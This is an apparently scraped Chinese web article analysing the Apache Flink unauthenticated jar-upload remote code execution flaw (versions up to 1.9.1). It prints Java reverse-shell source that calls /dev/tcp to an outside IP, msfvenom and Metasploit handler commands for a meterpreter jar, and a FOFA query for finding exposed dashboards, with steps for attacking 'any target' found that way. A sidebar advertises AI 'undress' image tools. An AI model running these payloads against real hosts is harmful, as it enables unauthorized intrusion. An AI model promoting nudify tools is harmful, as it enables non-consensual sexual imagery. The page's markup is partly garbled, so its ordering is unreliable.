apache flink任意jar包上傳導致遠端程式碼執行的範例分析
漏洞描述:
2019年11月11號,安全工程師Henry Chen揭露了一個Apache Flink未授權上傳jar包導致遠端程式碼執行的漏洞。由於Apache Flink Dashboard 預設無需認證即可存取,透過上傳惡意jar包並觸發惡意程式碼執行,從而獲取shell。
影響範圍
<= 1.9.1(最新版本)
環境建置:
(1) 提前安裝好java(需要java8以上)
(2) 下載flink-1.9.1
下載網址:https://www.apache.org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解壓縮下載的壓縮套件:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
( 4) 進去到解壓縮後的目錄中,來到其bin目錄下:
#(5) 啟動flink:
./start-cluster.sh
(6) 瀏覽器存取驗證(預設連接埠為8081):
http://172.26.1.108:8081
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687517911.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>#b.然後選擇java-->Runnable JAR file<p></p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>c.然後選擇對應的java專案和匯出路徑以及匯出檔案名稱<p></p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>圖片<p></p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"> #這樣就產生了一個反彈shell的jar包</p> <p>msf生成jar馬:</p> <p>(1) 利用msfvenom來產生一個jar馬:</p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打開msf的監聽模組,並監聽9999埠(要與我們jar馬設定的埠一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(1) 訪問目標:
(5) 點擊我們剛剛上傳的jar套件:
fofa關鍵字:
"apache-flink-dashboard" && country="US"
#
(1) 隨便找一個目標:
(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar套件
#(3) 利用flink上傳jar包的功能將我們的jar包上傳:
(4) 上傳後,我們在我們的vps上監聽好端口
(5) 然後回到瀏覽器,選中我們剛剛上傳的jar包,然後點擊Submitting提交,可以看到我們的vps已經成功接收到了shell
#漏洞修復:
建議設定防火牆策略,僅允許白名單ip存取apache flink服務,並在Web代理(如apache httpd)中增加對該服務的digest認證。
隨時關注官網,等待新版本或補丁更新
以上是apache flink任意jar包上傳導致遠端程式碼執行的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

eclipse匯入jar包的方法:1、建立一個新的Java專案;2、建立庫資料夾;3、將jar包複製到庫資料夾;4、設定專案建置路徑;5、新增jar包到建置路徑;6、配置專案建置路徑;7、驗證導入結果;8、注意事項;9、其他導入方法;10、清理和更新;11、維護和更新庫。詳細介紹:1、建立一個新的Java項目,啟動Eclipse IDE,頂部功能表列中選擇「File」選單等等。

maven導入jar包的步驟:1、下載jar包;2、建立Maven專案;3、新增依賴;4、新增dependency元素;5、儲存pom.xml檔;6、建置專案;7、驗證導入。詳細介紹:1、下載jar包,先從相關網站或原始碼倉庫下載所需的jar包,確保下載的jar包與你的項目相容,並符合所需的版本要求;2、創建Maven項目,如果還沒有Maven項目,需要先建立一個等等。

隨著大數據時代的來臨,數據處理成為了各個產業都需要關注和解決的問題。而作為一種高效能的資料處理工具,Flink的出現為我們提供了一個高效、可靠、可擴展的解決方案。在本文中,我們將介紹如何在Go語言中使用Flink實現高效率的資料流處理。一、Flink簡介ApacheFlink是一個開源的分散式資料處理平台,它的目標是提供一種高效、可靠、可擴展的處理大規模數據

SparkStreaming和Flink都是串流處理框架,具有不同的功能:程式設計模型:SparkStreaming基於SparkRDD模型,而Flink擁有自己的串流處理API。狀態管理:Flink內建狀態管理,而SparkStreaming需要外部解決方案。容錯性:Flink基於快照,而SparkStreaming基於檢查點。擴展性:Flink基於流操作符鏈,而SparkStreaming基於叢集擴展。在即時資料聚合用例中,Flink通常效能優於SparkStreaming,因為它提供了更好的吞吐

標題:Maven進階教學:深入探索Jar套件導入的各種方法Maven作為Java專案管理工具,廣泛應用於專案的建置、依賴管理等方面。在實際開發過程中,我們常常會用到各種第三方函式庫的Jar包,而如何有效地導入Jar包成為了一個必須掌握的技能。本文將深入探討Maven中導入Jar包的方法,包括使用本地Jar包、遠端倉庫Jar包以及自訂Jar包等多種方式,並給出具體

MySQL的Jar套件使用指南及注意事項MySQL是一種常用的關聯式資料庫管理系統,許多Java專案都會使用MySQL作為資料儲存的後端。在Java專案中,要與MySQL資料庫進行交互,就需要使用MySQL提供的Java驅動程式(即Jar套件)。本文將介紹MySQL的Jar套件的使用指南及注意事項,並提供具體的程式碼範例,幫助讀者更好地使用MySQL驅動程式。一、M

Maven入門指南:如何正確匯入Jar套件? Maven是一個強大的專案管理工具,能夠幫助開發人員管理專案依賴、建置專案等。在專案開發中,我們經常需要導入外部的Jar包來實現一些功能。本文將介紹如何使用Maven來正確導入Jar包,並提供具體的程式碼範例。首先,我們需要在Maven的pom.xml檔中加入對所需Jar包的依賴。在pom.xml中,有一個

隨著大數據時代的到來,我們往往需要對即時數據進行處理和分析。而即時串流處理技術以其高效能、高可擴展性和低延遲特性成為了處理大規模即時資料的主流方法。在即時串流處理技術中,Kafka和Flink作為常見的元件,已廣泛應用於眾多企業級的資料處理系統中。在本文中,將介紹如何在Beego中使用Kafka和Flink進行即時串流處理。一、Kafka簡介
